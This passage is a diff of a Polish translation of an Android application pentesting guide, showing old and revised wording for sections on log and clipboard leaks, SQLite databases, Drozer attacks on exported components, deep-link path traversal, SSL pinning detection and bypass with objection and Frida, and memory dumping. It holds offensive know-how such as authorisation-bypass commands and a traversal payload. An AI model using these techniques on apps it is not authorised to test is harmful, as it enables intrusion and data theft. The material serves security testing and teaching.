analizy dynamicznej używając MobSF dynamic analysis + pidcat, dzięki czemu będziemy w stanie **nauczyć się jak aplikacja działa** podczas gdy MobSF **zbiera** wiele **interesujących** **danych**, które możesz później przejrzeć. -Magisk/Zygisk szybkie notatki (zalecane na urządzeniach Pixel) -- Patchuj boot.img za pomocą aplikacji Magisk i flashuj przez fastboot, aby uzyskać systemless root -- Włącz Zygisk + DenyList do ukrywania roota; rozważ LSPosed/Shamiko, gdy wymagane jest silniejsze ukrywanie -- Zachowaj oryginalny boot.img, aby móc odzyskać po aktualizacjach OTA; ponownie patcheuj po każdej OTA +Magisk/Zygisk quick notes (recommended on Pixel devices) +- Patchuj boot.img przy użyciu aplikacji Magisk i flashuj przez fastboot, aby uzyskać systemless root +- Włącz Zygisk + DenyList dla ukrywania roota; rozważ LSPosed/Shamiko gdy potrzebne jest silniejsze ukrywanie +- Zachowaj oryginalny boot.img aby móc odzyskać się po OTA; ponownie patchuj po każdym OTA - Do mirrorowania ekranu użyj scrcpy na hoście + + ### Unintended Data Leakage **Logging** -Deweloperzy powinni być ostrożni z ujawnianiem **debugging information** publicznie, ponieważ może to prowadzić do wrażliwych danych leaks. Narzędzia [**pidcat**](https://github.com/JakeWharton/pidcat) i `adb logcat` są zalecane do monitorowania logów aplikacji w celu identyfikacji i ochrony poufnych informacji. **Pidcat** jest preferowany ze względu na łatwość użycia i czytelność. +Deweloperzy powinni być ostrożni, aby nie ujawniać **informacji debugowych** publicznie, ponieważ może to prowadzić do wycieku danych wrażliwych. Narzędzia [**pidcat**](https://github.com/JakeWharton/pidcat) oraz `adb logcat` są rekomendowane do monitorowania logów aplikacji w celu identyfikacji i ochrony informacji wrażliwych. **Pidcat** jest preferowany ze względu na łatwość użycia i czytelność. > [!WARNING] -> Zauważ, że od **wersji nowszych niż Android 4.0**, **aplikacje mogą uzyskiwać dostęp tylko do własnych logów**. Więc aplikacje nie mogą uzyskać dostępu do logów innych aplikacji.\ -> Niemniej jednak nadal zaleca się **nie logować wrażliwych informacji**. +> Zauważ, że od **wersji nowszych niż Android 4.0**, **aplikacje mogą uzyskiwać dostęp tylko do własnych logów**. Więc aplikacje nie mogą odczytywać logów innych aplikacji.\ +> Mimo to, nadal zaleca się **nie logować informacji wrażliwych**. -**Copy/Paste Buffer Caching** +**Bufor kopiuj/wklej** -Androidowy framework oparty na **clipboard** umożliwia funkcję kopiuj-wklej w aplikacjach, jednak stwarza ryzyko, ponieważ **inne aplikacje** mogą **dostępować** do schowka, potencjalnie ujawniając sensitive data. Kluczowe jest **wyłączenie funkcji kopiuj/wklej** w wrażliwych sekcjach aplikacji, takich jak dane karty kredytowej, aby zapobiec data leaks. +Androidowy framework oparty na **schowku** umożliwia funkcjonalność kopiuj-wklej w aplikacjach, ale stwarza ryzyko, ponieważ **inne aplikacje** mogą **uzyskać dostęp** do schowka, potencjalnie ujawniając dane wrażliwe. Ważne jest, aby **wyłączyć funkcje kopiuj/wklej** dla wrażliwych sekcji aplikacji, takich jak dane karty kredytowej, aby zapobiec leakom. **Crash Logs** -Jeżeli aplikacja **crashes** i **zapisuje logi**, te logi mogą pomóc atakującym, szczególnie gdy aplikacja nie może być reverse-engineered. Aby zminimalizować to ryzyko, unikaj logowania przy awariach, a jeśli logi muszą być przesłane przez sieć, upewnij się, że są wysyłane przez kanał SSL. +Jeśli aplikacja **crashuje** i **zapisuje logi**, te logi mogą pomóc atakującym, szczególnie gdy aplikacji nie da się odwrócić (reverse-engineer). Aby zmniejszyć to ryzyko, unikaj logowania przy awariach, a jeśli logi muszą być przesyłane przez sieć, upewnij się, że są wysyłane przez kanał SSL dla bezpieczeństwa. -Jako pentester, **spróbuj rzucić okiem na te logi**. +Jako pentester, **spróbuj spojrzeć na te logi**. -**Analytics Data Sent To 3rd Parties** +**Dane analityczne wysyłane do 3rd Parties** -Aplikacje często integrują usługi takie jak Google Adsense, które mogą niezamierzenie **leak sensitive data** z powodu nieprawidłowej implementacji przez deweloperów. Aby zidentyfikować potencjalne data leaks, zaleca się **przechwycić ruch aplikacji** i sprawdzić, czy jakiekolwiek wrażliwe informacje są wysyłane do usług third-party. +Aplikacje często integrują serwisy takie jak Google Adsense, które mogą przypadkowo **leakować dane wrażliwe** z powodu nieprawidłowej implementacji przez deweloperów. Aby zidentyfikować potencjalne wycieki danych, warto **przechwycić ruch aplikacji** i sprawdzić, czy jakiekolwiek informacje wrażliwe są wysyłane do usług zewnętrznych. -### SQLite DBs +### Bazy danych SQLite -Większość aplikacji używa **internal SQLite databases** do zapisywania informacji. Podczas pentest przejrzyj **databases** utworzone, nazwy **tables** i **columns** oraz wszystkie zapisane **data**, ponieważ możesz znaleźć **sensitive information** (co byłoby podatnością).\ -Bazy danych powinny znajdować się w `/data/data/the.package.name/databases` jak `/data/data/com.mwr.example.sieve/databases` +Większość aplikacji używa **wewnętrznych baz SQLite** do zapisu informacji. Podczas pentestu sprawdź **bazy danych** które zostały utworzone, nazwy **tabel** i **kolumn** oraz wszystkie zapisywane **dane**, ponieważ możesz znaleźć **informacje wrażliwe** (co byłoby podatnością).\ +Bazy danych powinny znajdować się w `/data/data/the.package.name/databases` np. `/data/data/com.mwr.example.sieve/databases` -Jeśli baza danych zapisuje poufne informacje i jest **encrypted** ale możesz **find** **password** wewnątrz aplikacji, to wciąż jest to **vulnerability**. +Jeśli baza danych zapisuje poufne informacje i jest **zaszyfrowana**, ale możesz **odnaleźć** **hasło** w aplikacji, to nadal jest to **podatność**. -Wylistuj tabele używając `.tables` i wypisz kolumny tabel wykonując `.schema ` +Wyenumeruj tabele używając `.tables` oraz wyenumeruj kolumny tabel używając `.schema ` ### Drozer (Exploit Activities, Content Providers and Services) -From [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** allows you to **assume the role of an Android app** and interact with other apps. It can do **anything that an installed application can do**, such as make use of Android’s Inter-Process Communication (IPC) mechanism and interact with the underlying operating system. .\ -Drozer is s useful tool to **exploit exported activities, exported services and Content Providers** as you will learn in the following sections. +Zgodnie z [Drozer Docs](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** pozwala **przyjąć rolę aplikacji Android** i współdziałać z innymi aplikacjami. Może robić **wszystko, co może zrobić zainstalowana aplikacja**, takie jak korzystanie z mechanizmu Inter-Process Communication (IPC) Androida oraz interakcję z warstwą systemu operacyjnego. .\ +Drozer jest użytecznym narzędziem do **eksploatowania exported activities, exported services oraz Content Providers**, jak poznasz w kolejnych sekcjach. -### Exploiting exported Activities +### Eksploatacja eksportowanych Activities -[**Read this if you want to refresh what is an Android Activity.**](android-applications-basics.md#launcher-activity-and-other-activities)\ -Pamiętaj też, że kod aktywności zaczyna się w metodzie **`onCreate`**. +[**Przeczytaj to jeśli chcesz odświeżyć czym jest Android Activity.**](android-applications-basics.md#launcher-activity-and-other-activities)\ +Pamiętaj też, że kod activity zaczyna się w metodzie **`onCreate`**. -**Authorisation bypass** +**Ominięcie autoryzacji** -When an Activity is exported you can invoke its screen from an external app. Therefore, if an activity with **sensitive information** is **exported** you could **bypass** the **authentication** mechanisms **to access it.** +Gdy Activity jest eksportowana, możesz wywołać jej ekran z zewnętrznej aplikacji. Zatem, jeśli activity zawierające **informacje wrażliwe** jest **eksportowane**, możesz **ominąć** mechanizmy **autoryzacji** aby uzyskać do niego dostęp. -[**Learn how to exploit exported activities with Drozer.**](drozer-tutorial/index.html#activities) +[**Dowiedz się jak eksploatować eksportowane activities przy użyciu Drozer.**](drozer-tutorial/index.html#activities) -You can also start an exported activity from adb: +Możesz także uruchomić eksportowane activity z adb: - PackageName is com.example.demo - Exported ActivityName is com.example.test.MainActivity ```bash adb shell am start -n com.example.demo/com.example.test.MainActivity ``` -**NOTE**: MobSF będzie traktować jako złośliwe użycie _**singleTask/singleInstance**_ jako `android:launchMode` w activity, ale zgodnie z [this](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750), najwyraźniej jest to niebezpieczne tylko w starych wersjach (API versions < 21). +**UWAGA**: MobSF wykryje jako złośliwe użycie _**singleTask/singleInstance**_ jako `android:launchMode` w activity, ale zgodnie z [tym](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750), najwyraźniej jest to niebezpieczne tylko w starych wersjach (API versions < 21). > [!TIP] -> Należy pamiętać, że an authorisation bypass nie zawsze jest podatnością — zależy to od sposobu działania bypassu i jakie informacje są ujawniane. +> Należy pamiętać, że an authorisation bypass nie zawsze jest podatnością — zależy to od tego, jak bypass działa i jakie informacje są ujawniane. **Sensitive information leakage** -**Aktywności mogą też zwracać wyniki.** Jeśli uda Ci się znaleźć eksportowaną i niezabezpieczoną activity, która wywołuje metodę **`setResult`** i **zwraca poufne informacje**, dochodzi do sensitive information leakage. +**Activities can also return results**. Jeśli uda Ci się znaleźć eksportowaną i niechronioną activity wywołującą metodę **`setResult`** i **zwracającą poufne informacje**, występuje sensitive information leakage. #### Tapjacking -Jeśli Tapjacking nie jest zatrzymany, możesz wykorzystać eksportowaną activity, aby zmusić **użytkownika do wykonania nieoczekiwanych działań**. Po więcej informacji o [**czym jest Tapjacking, zobacz link**](#tapjacking). +Jeśli Tapjacking nie jest zapobiegany, możesz nadużyć eksportowanej activity, aby zmusić **użytkownika do wykonania nieoczekiwanych działań**. Po więcej informacji o [**czym jest Tapjacking, kliknij link**](#tapjacking). -### Exploiting Content Providers - Uzyskiwanie i manipulowanie poufnymi informacjami +### Exploiting Content Providers - Accessing and manipulating sensitive information [**Przeczytaj to, jeśli chcesz odświeżyć, czym jest Content Provider.**](android-applications-basics.md#content-provider)\ -Content providers służą zasadniczo do **udostępniania danych**. Jeśli aplikacja ma dostępne content providers, możesz być w stanie **wyodrębnić poufne** dane z nich. Warto też testować możliwe **SQL injections** i **Path Traversals**, ponieważ mogą być podatne. +Content providers są zasadniczo używane do **udostępniania danych**. Jeśli aplikacja ma dostępne content providers, możesz być w stanie **wyodrębnić poufne** dane z nich. Warto również przetestować możliwe **SQL injections** i **Path Traversals**, ponieważ mogą być podatne. -[**Dowiedz się, jak exploit Content Providers przy użyciu Drozer.**](drozer-tutorial/index.html#content-providers) +[**Learn how to exploit Content Providers with Drozer.**](drozer-tutorial/index.html#content-providers) ### **Exploiting Services** [**Przeczytaj to, jeśli chcesz odświeżyć, czym jest Service.**](android-applications-basics.md#services)\ Pamiętaj, że działania Service zaczynają się w metodzie `onStartCommand`. -Service to w zasadzie coś, co **może otrzymywać dane**, **przetwarzać** je i **zwracać** (lub nie) odpowiedź. Jeśli aplikacja eksportuje jakieś services, powinieneś **sprawdzić** **kod**, aby zrozumieć, co robi, i **testować** go **dynamicznie** w celu wydobycia informacji poufnych, obejścia mechanizmów uwierzytelniania itp.\ -[**Dowiedz się, jak exploit Services przy użyciu Drozer.**](drozer-tutorial/index.html#services) +Service to w zasadzie coś, co **może otrzymywać dane**, **przetwarzać** je i **zwracać** (lub nie) odpowiedź. Jeśli aplikacja eksportuje jakieś services, powinieneś **sprawdzić** **kod**, aby zrozumieć, co robi, i **przetestować** go **dynamicznie** w celu wydobycia poufnych informacji, obejścia mechanizmów uwierzytelniania...\ +[**Learn how to exploit Services with Drozer.**](drozer-tutorial/index.html#services) ### **Exploiting Broadcast Receivers** [**Przeczytaj to, jeśli chcesz odświeżyć, czym jest Broadcast Receiver.**](android-applications-basics.md#broadcast-receivers)\ Pamiętaj, że działania Broadcast Receiver zaczynają się w metodzie `onReceive`. -Broadcast receiver będzie oczekiwać na określony typ wiadomości. W zależności od tego, jak receiver obsługuje wiadomość, może być podatny.\ -[**Dowiedz się, jak exploit Broadcast Receivers przy użyciu Drozer.**](#exploiting-broadcast-receivers) +Broadcast receiver będzie oczekiwał na określony typ wiadomości. W zależności od tego, jak receiver obsługuje wiadomość, może być podatny.\ +[**Learn how to exploit Broadcast Receivers with Drozer.**](#exploiting-broadcast-receivers) ### **Exploiting Schemes / Deep links** -Możesz wyszukać deep links ręcznie, używając narzędzi takich jak MobSF lub skryptów typu [this one](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py).\ -Możesz **otworzyć** zadeklarowany **scheme** używając **adb** lub **przeglądarki**: +Możesz wyszukiwać deep links ręcznie, używając narzędzi takich jak MobSF lub skryptów takich jak [this one](https://github.com/ashleykinguk/FBLinkBuilder/blob/master/FBLinkBuilder.py).\ +Możesz **otworzyć** zadeklarowane **scheme** używając **adb** lub **przeglądarki**: ```bash adb shell am start -a android.intent.action.VIEW -d "scheme://hostname/path?param=value" [your.package.name] ``` -_Zauważ, że możesz **pominąć nazwę pakietu** i urządzenie mobilne automatycznie wywoła aplikację, która powinna otworzyć ten link._ +_Zauważ, że możesz **pominąć nazwę pakietu** i urządzenie mobilne automatycznie uruchomi aplikację, która powinna otworzyć ten link._ ```html Click me with alternative ``` -**Kod wykonywany** +**Wykonywany kod** -Aby znaleźć **kod, który zostanie wykonany w aplikacji**, przejdź do activity wywoływanej przez deeplink i wyszukaj funkcję **`onNewIntent`**. +Aby znaleźć **kod, który zostanie wykonany w aplikacji**, przejdź do activity wywołanej przez deeplink i wyszukaj funkcję **`onNewIntent`**. ![](<../../images/image (436) (1) (1) (1).png>) -**Wrażliwe dane** +**Wrażliwe informacje** -Za każdym razem, gdy znajdziesz deep link, sprawdź, czy **nie otrzymuje wrażliwych danych (np. haseł) przez parametry URL**, ponieważ każda inna aplikacja mogłaby **podszyć się pod deep link i ukraść te dane!** +Za każdym razem, gdy znajdziesz deep link, sprawdź, czy **nie odbiera on wrażliwych danych (np. haseł) przez parametry URL**, ponieważ każda inna aplikacja mogłaby **podszyć się pod deep link i ukraść te dane!** **Parametry w ścieżce** -Musisz również sprawdzić, czy którykolwiek deep link używa parametru wewnątrz ścieżki URL, np.: `https://api.example.com/v1/users/{username}` , w takim przypadku możesz wymusić path traversal, uzyskując dostęp do czegoś takiego: `example://app/users?username=../../unwanted-endpoint%3fparam=value` .\ -Zauważ, że jeśli znajdziesz odpowiednie endpointy w aplikacji, możesz być w stanie wywołać **Open Redirect** (jeśli część ścieżki jest użyta jako nazwa domeny), **account takeover** (jeśli możesz zmodyfikować dane użytkowników bez tokena CSRF i podatny endpoint używał odpowiedniej metody) i inne podatności. Więcej informacji [tutaj](http://dphoeniixx.com/2020/12/13-2/). +Musisz także sprawdzić, czy **którykolwiek deep link nie używa parametru w obrębie ścieżki** URL, na przykład: `https://api.example.com/v1/users/{username}` , w takim przypadku możesz wymusić path traversal uzyskując dostęp do czegoś w stylu: `example://app/users?username=../../unwanted-endpoint%3fparam=value` .\ +Zauważ, że jeśli znajdziesz poprawne endpointy w aplikacji, możesz być w stanie spowodować **Open Redirect** (jeśli część ścieżki jest używana jako nazwa domeny), **account takeover** (jeśli możesz modyfikować dane użytkowników bez tokena CSRF i podatny endpoint używał właściwej metody) oraz inne luki. Więcej [informacji znajdziesz tutaj](http://dphoeniixx.com/2020/12/13-2/). **Więcej przykładów** -Interesujący raport bug bounty dotyczący linków (_/.well-known/assetlinks.json_): [Interesujący raport bug bounty](https://hackerone.com/reports/855618). +Ciekawy [raport bug bounty](https://hackerone.com/reports/855618) dotyczący linków (_/.well-known/assetlinks.json_). -### Transport Layer Inspection and Verification Failures +### Inspekcja warstwy transportowej i błędy weryfikacji -- **Certificates are not always inspected properly** przez aplikacje Android. Często aplikacje pomijają ostrzeżenia i akceptują certyfikaty self-signed lub w niektórych przypadkach wracają do używania połączeń HTTP. -- **Negotiations during the SSL/TLS handshake are sometimes weak**, wykorzystując niebezpieczne zestawy szyfrów. Ta podatność naraża połączenie na ataki man-in-the-middle (MITM), umożliwiając atakującym odszyfrowanie danych. -- **Leakage of private information** stanowi ryzyko, gdy aplikacje uwierzytelniają się przy użyciu bezpiecznych kanałów, a następnie komunikują się przez niezabezpieczone kanały dla innych transakcji. Takie podejście nie chroni wrażliwych danych, takich jak session cookies czy dane użytkownika, przed przechwyceniem przez podmioty złośliwe. +- **Certyfikaty nie zawsze są poprawnie weryfikowane** przez aplikacje Android. Często aplikacje ignorują ostrzeżenia i akceptują certyfikaty self-signed lub, w niektórych przypadkach, wracają do używania połączeń HTTP. +- **Negocjacje podczas SSL/TLS handshake bywają słabe**, używając niebezpiecznych cipher suites. Ta luka sprawia, że połączenie jest podatne na ataki man-in-the-middle (MITM), umożliwiając atakującemu odszyfrowanie danych. +- **Leakage of private information** jest ryzykiem, gdy aplikacje uwierzytelniają się przy użyciu bezpiecznych kanałów, ale potem komunikują się przez kanały niezabezpieczone w innych transakcjach. Takie podejście nie chroni wrażliwych danych, takich jak ciasteczka sesyjne lub dane użytkownika, przed przechwyceniem przez złośliwe podmioty. -#### Certificate Verification +#### Weryfikacja certyfikatu -Skupimy się na **weryfikacji certyfikatu**. Integralność certyfikatu serwera musi być weryfikowana, aby zwiększyć bezpieczeństwo. Jest to kluczowe, ponieważ niebezpieczne konfiguracje TLS oraz przesyłanie wrażliwych danych przez niezabezpieczone kanały mogą stanowić poważne ryzyko. Dla szczegółowych kroków dotyczących weryfikacji certyfikatów serwera i usuwania podatności, [**to źródło**](https://manifestsecurity.com/android-application-security-part-10/) zawiera obszerny przewodnik. +Skoncentrujemy się na **weryfikacji certyfikatów**. Integralność certyfikatu serwera musi być weryfikowana, aby zwiększyć bezpieczeństwo. To kluczowe, ponieważ niebezpieczne konfiguracje TLS i przesyłanie wrażliwych danych przez kanały niezaszyfrowane mogą stwarzać poważne zagrożenia. Dla szczegółowych kroków dotyczących weryfikacji certyfikatów serwera i naprawy luk, [**this resource**](https://manifestsecurity.com/android-application-security-part-10/) zapewnia kompleksowe wskazówki. #### SSL Pinning -SSL Pinning to mechanizm bezpieczeństwa, w którym aplikacja weryfikuje certyfikat serwera względem znanej kopii przechowywanej w samej aplikacji. Ta metoda jest istotna dla zapobiegania atakom man-in-the-middle (MITM). Implementacja SSL Pinning jest gorąco zalecana dla aplikacji przetwarzających dane wrażliwe. +SSL Pinning to środek bezpieczeństwa, w którym aplikacja weryfikuje certyfikat serwera względem znanej kopii przechowywanej w samej aplikacji. Ta metoda jest niezbędna do zapobiegania atakom MITM. Zdecydowanie zaleca się implementację SSL Pinning w aplikacjach przetwarzających wrażliwe informacje. -#### Traffic Inspection +#### Inspekcja ruchu -Aby inspekcjonować ruch HTTP, konieczne jest **zainstalowanie certyfikatu narzędzia proxy** (np. Burp). Bez zainstalowania tego certyfikatu szyfrowany ruch może nie być widoczny przez proxy. Instrukcję instalacji niestandardowego certyfikatu CA znajdziesz [**tutaj**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine). +Aby przejrzeć ruch HTTP, konieczne jest **zainstalowanie certyfikatu narzędzia proxy** (np. Burp). Bez instalacji tego certyfikatu zaszyfrowany ruch może nie być widoczny przez proxy. Instrukcję instalacji niestandardowego certyfikatu CA znajdziesz w: [**kliknij tutaj**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine). -Aplikacje celujące w **API Level 24 and above** wymagają modyfikacji Network Security Config, aby zaakceptować certyfikat CA proxy. Ten krok jest kluczowy dla inspekcji szyfrowanego ruchu. Instrukcje dotyczące modyfikacji Network Security Config znajdziesz w [**tym tutorialu**](make-apk-accept-ca-certificate.md). +Aplikacje targetujące **API Level 24 i nowsze** wymagają modyfikacji Network Security Config, aby zaakceptować certyfikat CA proxy. Ten krok jest krytyczny do inspekcji szyfrowanego ruchu. Instrukcje dotyczące modyfikacji Network Security Config znajdziesz w [**tym tutorialu**](make-apk-accept-ca-certificate.md). -Jeśli użyto **Flutter**, musisz postępować zgodnie z instrukcjami na [**tej stronie**](flutter.md). Wynika to z faktu, że samo dodanie certyfikatu do magazynu nie wystarczy, ponieważ Flutter ma własną listę zaufanych CA. +Jeśli używany jest **Flutter**, musisz postępować zgodnie z instrukcjami na [**tej stronie**](flutter.md). Wynika to z faktu, że samo dodanie certyfikatu do magazynu nie zadziała, ponieważ Flutter ma własną listę zaufanych CA. -#### Static detection of SSL/TLS pinning +#### Statyczne wykrywanie SSL/TLS pinning -Zanim spróbujesz obejść mechanizmy w czasie wykonywania, szybko zmapuj miejsca, w których pinning jest egzekwowany w APK. Wykrywanie statyczne pomaga zaplanować hooki/łatki i skupić się na właściwych ścieżkach kodu. +Zanim spróbujesz obejść mechanizmy w czasie wykonywania, szybko zmapuj, gdzie pinning jest wymuszany w APK. Odkrywanie statyczne pomaga zaplanować hooki/łatki i skupić się na właściwych ścieżkach kodu. -Tool: SSLPinDetect -- Open-source static-analysis utility that decompiles the APK to Smali (via apktool) and scans for curated regex patterns of SSL/TLS pinning implementations. -- Reports exact file path, line number, and a code snippet for each match. -- Covers common frameworks and custom code paths: OkHttp CertificatePinner, custom javax.net.ssl.X509TrustManager.checkServerTrusted, SSLContext.init with custom TrustManagers/KeyManagers, and Network Security Config XML pins. +Narzędzie: SSLPinDetect +- Otwarte narzędzie do analizy statycznej, które dekompiluje APK do Smali (przez apktool) i skanuje przygotowane wzorce regex dotyczące implementacji SSL/TLS pinning. +- Zgłasza dokładną ścieżkę pliku, numer linii i fragment kodu dla każdego dopasowania. +- Obejmuje popularne frameworki i niestandardowe ścieżki kodu: OkHttp CertificatePinner, niestandardowy javax.net.ssl.X509TrustManager.checkServerTrusted, SSLContext.init z niestandardowymi TrustManagers/KeyManagers oraz piny w Network Security Config XML. Instalacja -- Wymagania wstępne: Python >= 3.8, Java on PATH, apktool +- Wymagania: Python >= 3.8, Java w PATH, apktool ```bash git clone https://github.com/aancw/SSLPinDetect cd SSLPinDetect @@ -463,7 +465,7 @@ python sslpindetect.py -f app.apk -a apktool.jar python sslpindetect.py -a apktool_2.11.0.jar -f sample/app-release.apk -v ``` Przykładowe reguły wzorców (JSON) -Użyj lub rozszerz sygnatur, aby wykrywać proprietarne/niestandardowe style pinning. Możesz załadować własny plik JSON i skanować na dużą skalę. +Użyj lub rozszerzaj sygnatury, aby wykrywać proprietarne/niestandardowe style pinning. Możesz załadować własny JSON i skanować na dużą skalę. ```json { "OkHttp Certificate Pinning": [ @@ -478,42 +480,42 @@ Użyj lub rozszerz sygnatur, aby wykrywać proprietarne/niestandardowe style pin } ``` Notatki i wskazówki -- Szybkie skanowanie dużych aplikacji przez multi-threading i memory-mapped I/O; pre-kompilowane regexy zmniejszają narzut / false positives. +- Szybkie skanowanie dużych aplikacji przy użyciu wielowątkowości i mapowanego w pamięci I/O; pre-kompilowane wyrażenia regularne zmniejszają narzut/fałszywe pozytywy. - Pattern collection: https://github.com/aancw/smali-sslpin-patterns -- Typowe cele detekcji do dalszej triage: -- OkHttp: CertificatePinner usage, setCertificatePinner, okhttp3/okhttp package references -- Custom TrustManagers: javax.net.ssl.X509TrustManager, checkServerTrusted overrides -- Custom SSL contexts: SSLContext.getInstance + SSLContext.init with custom managers -- Declarative pins in res/xml network security config and manifest references -- Wykorzystaj dopasowane lokalizacje do zaplanowania Frida hooks, statycznych patchy lub przeglądu konfiguracji przed testami dynamicznymi. +- Typowe cele detekcji do dalszej weryfikacji: +- OkHttp: użycie CertificatePinner, setCertificatePinner, odwołania do pakietu okhttp3/okhttp +- Niestandardowe TrustManagers: javax.net.ssl.X509TrustManager, nadpisania checkServerTrusted +- Niestandardowe konteksty SSL: SSLContext.getInstance + SSLContext.init z niestandardowymi managerami +- Deklaratywne pins w res/xml (network security config) oraz odwołania w manifest +- Wykorzystaj dopasowane lokalizacje do zaplanowania hooków Frida, statycznych patchy lub przeglądu konfiguracji przed testami dynamicznymi. #### Omijanie SSL Pinning -Gdy SSL Pinning jest zaimplementowany, konieczne bywa jego obejście, aby inspekcjonować ruch HTTPS. Dostępne są różne metody: +Gdy SSL Pinning jest zaimplementowany, konieczne staje się jego ominięcie, aby przeanalizować ruch HTTPS. Istnieje kilka metod do tego celu: -- Automatycznie **zmodyfikuj** **apk**, aby **obejść** SSLPinning za pomocą [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). Największą zaletą tej opcji jest to, że nie będziesz potrzebować roota, aby obejść SSL Pinning, ale będziesz musiał usunąć aplikację i zainstalować nową wersję, i nie zawsze to zadziała. -- Możesz użyć **Frida** (omówionej poniżej) aby obejść tę ochronę. Tutaj masz przewodnik użycia Burp+Frida+Genymotion: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/) -- Możesz także spróbować **automatycznie obejść SSL Pinning** używając [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"` -- Możesz też spróbować **automatycznie obejść SSL Pinning** używając **MobSF dynamic analysis** (opisane poniżej) -- Jeśli nadal uważasz, że istnieje ruch, którego nie przechwytujesz, możesz spróbować **przekierować ruch do burpa używając iptables**. Przeczytaj ten wpis: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62) +- Automatycznie **zmodyfikuj** **apk**, aby **obejść** SSLPinning za pomocą [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). Największą zaletą tej opcji jest to, że nie będziesz potrzebować root, aby obejść SSL Pinning, ale będziesz musiał usunąć aplikację i zainstalować zmodyfikowaną wersję, a to nie zawsze zadziała. +- Możesz użyć **Frida** (omawiane poniżej), aby obejść tę ochronę. Tutaj jest przewodnik użycia Burp+Frida+Genymotion: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/) +- Możesz też spróbować **automatycznie obejść SSL Pinning** za pomocą [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"` +- Możesz też spróbować **automatycznie obejść SSL Pinning** używając **MobSF dynamic analysis** (omówione poniżej) +- Jeśli nadal uważasz, że część ruchu nie jest przechwytywana, możesz spróbować **przekierować ruch do burp za pomocą iptables**. Przeczytaj ten wpis na blogu: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62) -#### Szukanie typowych podatności webowych +#### Poszukiwanie typowych podatności webowych -Ważne jest także poszukiwanie typowych podatności webowych w aplikacji. Szczegółowe informacje na temat identyfikacji i łagodzenia tych podatności wykraczają poza zakres tego streszczenia, ale są szeroko omówione gdzie indziej. +Ważne jest również poszukiwanie typowych podatności webowych w aplikacji. Szczegółowe informacje na temat identyfikacji i łagodzenia tych podatności wykraczają poza zakres tego streszczenia, ale są szeroko omówione gdzie indziej. ### Frida -[Frida](https://www.frida.re) to zestaw narzędzi do dynamicznej instrumentacji dla programistów, reverse-engineerów i badaczy bezpieczeństwa.\ -**Możesz uzyskać dostęp do działającej aplikacji i hookować metody w czasie działania, aby zmieniać zachowanie, modyfikować wartości, wydobywać dane, uruchamiać inny kod...**\ -Jeśli chcesz pentestować aplikacje Android, musisz umieć korzystać z Frida. +[Frida](https://www.frida.re) to dynamiczne narzędzie do instrumentacji dla deweloperów, reverse-engineerów i badaczy bezpieczeństwa.\ +**Możesz uzyskać dostęp do uruchomionej aplikacji i hookować metody w czasie wykonania, aby zmieniać zachowanie, zmieniać wartości, wyodrębniać wartości, uruchamiać inny kod...**\ +Jeśli chcesz pentestować aplikacje Android musisz umieć używać Frida. - Learn how to use Frida: [**Frida tutorial**](frida-tutorial/index.html) -- Some "GUI" for actions with Frida: [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security) -- Ojection is great to automate the use of Frida: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon) -- You can find some Awesome Frida scripts here: [**https://codeshare.frida.re/**](https://codeshare.frida.re) -- Spróbuj obejść mechanizmy anti-debugging / anti-frida ładując Frida, jak wskazano w [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) (narzędzie [linjector](https://github.com/erfur/linjector-rs)) +- Niektóre "GUI" do pracy z Frida: [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security) +- Ojection jest świetny do automatyzacji użycia Frida: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon) +- Możesz znaleźć kilka świetnych skryptów Frida tutaj: [**https://codeshare.frida.re/**](https://codeshare.frida.re) +- Spróbuj obejść mechanizmy anti-debugging / anti-frida ładując Frida jak wskazano w [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) (narzędzie [linjector](https://github.com/erfur/linjector-rs)) #### Anti-instrumentation & SSL pinning bypass workflow @@ -523,9 +525,9 @@ android-anti-instrumentation-and-ssl-pinning-bypass.md ### **Zrzut pamięci - Fridump** -Sprawdź, czy aplikacja nie przechowuje w pamięci informacji wrażliwych, których nie powinna przechowywać, takich jak hasła czy mnemoniki. +Sprawdź, czy aplikacja nie przechowuje w pamięci wrażliwych informacji, których nie powinna przechowywać, takich jak hasła lub frazy mnemoniczne. -Używając [**Fridump3**](https://github.com/rootbsd/fridump3) możesz zrzucić pamięć aplikacji poleceniem: +Korzystając z [**Fridump3**](https://github.com/rootbsd/fridump3) możesz zrzucić pamięć aplikacji za pomocą: ```bash # 